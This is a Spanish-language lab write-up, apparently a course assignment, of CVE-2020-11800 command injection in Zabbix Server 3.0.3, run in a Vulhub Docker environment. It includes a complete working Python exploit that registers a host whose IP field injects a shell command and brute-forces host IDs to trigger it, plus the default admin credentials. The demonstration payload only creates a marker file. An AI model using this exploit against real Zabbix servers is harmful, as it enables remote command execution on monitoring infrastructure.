
Exploit PoC para CVE-2020-11800, una inyección de comandos en Zabbix Server mediante el auto-registro de agentes maliciosos, con entrega de payload basada en Python y fuerza bruta de ID de host.
Las secciones requeridas por las pautas de la asignación están marcadas con “(Requerido)”.
Este entorno utiliza un Dockerfile personalizado basado en la imagen vulnerable del servidor Zabbix proporcionada por Vulhub.
FROM vulhub/zabbix:3.0.3-server
El Dockerfile construye una imagen local utilizando el entorno vulnerable del servidor Zabbix 3.0.3. No se agregaron paquetes ni configuración adicional durante el proceso de construcción.
El entorno vulnerable se configura mediante Docker Compose.
El entorno consta de cuatro servicios:
El servicio server se construye localmente usando el Dockerfile:
server:
build: .
image: cve-2020-11800-server
El contenedor MySQL importa automáticamente los archivos de inicialización SQL del directorio src/ mediante el montaje de volúmenes:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Esto permite que el esquema de la base de datos y los datos iniciales de Zabbix se carguen automáticamente cuando se inicia el contenedor.
El entorno opera utilizando la siguiente estructura:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Proporciona la interfaz de administración basada en web accesible a través del navegador.
El administrador configura el auto-registro y ejecuta operaciones relacionadas con la monitorización a través de esta interfaz.
El componente central responsable de:
La vulnerabilidad de inyección de comandos se desencadena dentro de este contenedor.
Actúa como un host monitorizado y se comunica con el servidor Zabbix.
El exploit abusa del mecanismo de auto-registro durante el proceso de registro del agente.
Almacena los datos de configuración de Zabbix, la información de los hosts y los datos relacionados con la monitorización.
| Servicio | Imagen | Versión |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
El entorno se basa en el entorno vulnerable de Zabbix 3.0.3 proporcionado por Vulhub.
CVE-2020-11800 es una vulnerabilidad de inyección de comandos en la funcionalidad Active Proxy Trapper del servidor Zabbix.
La vulnerabilidad existe porque el parche para CVE-2017-2824 fue incompleto. Un atacante puede omitir el parche original utilizando un payload de estilo IPv6 y ejecutar comandos arbitrarios en el servidor Zabbix.
La vulnerabilidad se desencadena durante el proceso de auto-registro cuando el servidor procesa información del host controlada por el usuario.
La causa raíz de la vulnerabilidad es el manejo inseguro de entradas controladas por el usuario dentro de comandos shell.
Durante la ejecución de scripts, el servidor Zabbix utiliza el valor de IP del host registrado para construir comandos como:
ping <host_ip>
En condiciones normales:
ping 127.0.0.1
Sin embargo, si un atacante registra un host utilizando el siguiente payload:
ffff:::;touch /tmp/success2
el comando final ejecutado por la shell se convierte en:
ping ffff:::;touch /tmp/success2
Debido a que el punto y coma (;) actúa como separador de comandos de la shell, esta interpreta la entrada como dos comandos separados:
ping ffff:::
touch /tmp/success2
Como resultado, la ejecución de comandos arbitrarios se vuelve posible.
El parche original para CVE-2017-2824 intentaba restringir los valores de entrada maliciosos.
Sin embargo, la lógica de validación no manejaba correctamente la entrada de estilo IPv6.
El payload:
ffff:::;touch /tmp/success2
utiliza un prefijo similar a IPv6 (ffff:::) para omitir la lógica de validación existente mientras sigue inyectando metacaracteres de shell.
Esto permite a los atacantes omitir el parche anterior y continuar explotando la vulnerabilidad de inyección de comandos.
El proceso de explotación ocurre en el siguiente orden:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
El atacante primero envía una solicitud de auto-registro maliciosa que contiene un campo IP manipulado.
Después de que el host se registra, el servidor Zabbix ejecuta un script de monitorización utilizando el valor de IP del host almacenado.
Durante este proceso, el payload malicioso es interpretado por la shell, lo que lleva a la ejecución de comandos arbitrarios.
El exploit permite a los atacantes ejecutar comandos arbitrarios con los privilegios del proceso del servidor Zabbix.
En este entorno, la explotación exitosa creó el siguiente archivo dentro del contenedor del servidor:
/tmp/success2
Esto confirma que los comandos shell inyectados se ejecutaron correctamente.
En un entorno real, una explotación exitosa podría permitir a los atacantes:
La vulnerabilidad es particularmente peligrosa porque los servidores de monitorización a menudo tienen visibilidad sobre múltiples sistemas internos y componentes de infraestructura.
La Prueba de Concepto (PoC) fue escrita en Python y se comunica directamente con el servidor Zabbix a través del puerto TCP 10051.
El PoC realiza las siguientes acciones:
hostidimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
El payload utilizado en este PoC es:
ffff:::;touch /tmp/success2
| Parte | Propósito |
|---|---|
ffff::: | Prefijo similar a IPv6 utilizado para omitir la validación |
; | Separador de comandos de shell |
touch /tmp/success2 | Comando arbitrario ejecutado en el servidor |
El payload abusa del hecho de que el servidor concatena incorrectamente valores de IP controlados por el usuario en comandos shell.
El payload se entrega a través del campo ip durante el proceso de auto-registro.
La primera solicitud enviada por el PoC intenta registrar un host malicioso.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
Después del registro, el PoC intenta localizar un hostid válido.
for i in range(10000, 10500):
El PoC itera a través de un rango de posibles ID de host e intenta activar la ejecución de scripts.
Este paso es necesario porque el servidor asigna dinámicamente los ID de host después del registro.
La siguiente solicitud activa la ejecución de comandos:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Parámetro | Descripción |
|---|---|
request | Solicita la ejecución del script |
scriptid | ID del script de Zabbix configurado |
hostid | ID del host objetivo |
En este entorno, scriptid:1 corresponde a un script relacionado con ping que utiliza el valor de IP del host durante la ejecución del comando.
El servidor Zabbix construye internamente un comando shell similar a:
ping ffff:::;touch /tmp/success2
La shell interpreta esto como:
ping ffff:::
touch /tmp/success2
Como resultado:
touch inyectado se ejecuta con éxitoDurante una explotación exitosa, puede aparecer la siguiente salida:
ping: bad address 'ffff:::'
Esto indica que el payload alcanzó la etapa de ejecución del comando shell.
La explotación exitosa se confirma cuando existe el siguiente archivo dentro del contenedor del servidor:
/tmp/success2
El flujo completo del exploit se resume a continuación:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Inicie el entorno vulnerable usando Docker Compose.
docker compose up -d
Compruebe si todos los contenedores se están ejecutando correctamente.
docker compose ps
El entorno debe incluir los siguientes contenedores:
Abra el navegador y acceda a la interfaz web de Zabbix.
http://127.0.0.1:8080
Credenciales predeterminadas:
Username: admin
Password: zabbix
El exploit requiere que la función de auto-registro esté habilitada.
Navegue a:
Configuration → Actions
Cambie la fuente de eventos a:
Auto registration
Cree una nueva acción y configure la siguiente operación:
Operation Type: Add Host
Esto permite que los agentes recién registrados se agreguen automáticamente al servidor.
Ejecute el script del PoC.
python3 exploit.py 127.0.0.1
El PoC envía una solicitud de auto-registro maliciosa e intenta activar la ejecución de comandos utilizando múltiples ID de host.
Durante una explotación exitosa, puede aparecer una salida similar a la siguiente:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Esto indica que el payload alcanzó la ruta vulnerable de ejecución de comandos shell.
Acceda al contenedor del servidor Zabbix.
docker exec -it cve-2020-11800-server-1 bash
Verifique si el comando inyectado creó el archivo objetivo.
ls -l /tmp/success2
Una explotación exitosa produce una salida similar a:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Esto confirma que los comandos arbitrarios se ejecutaron correctamente dentro del contenedor del servidor Zabbix.
Las siguientes capturas de pantalla se incluyeron en el directorio screenshots/:

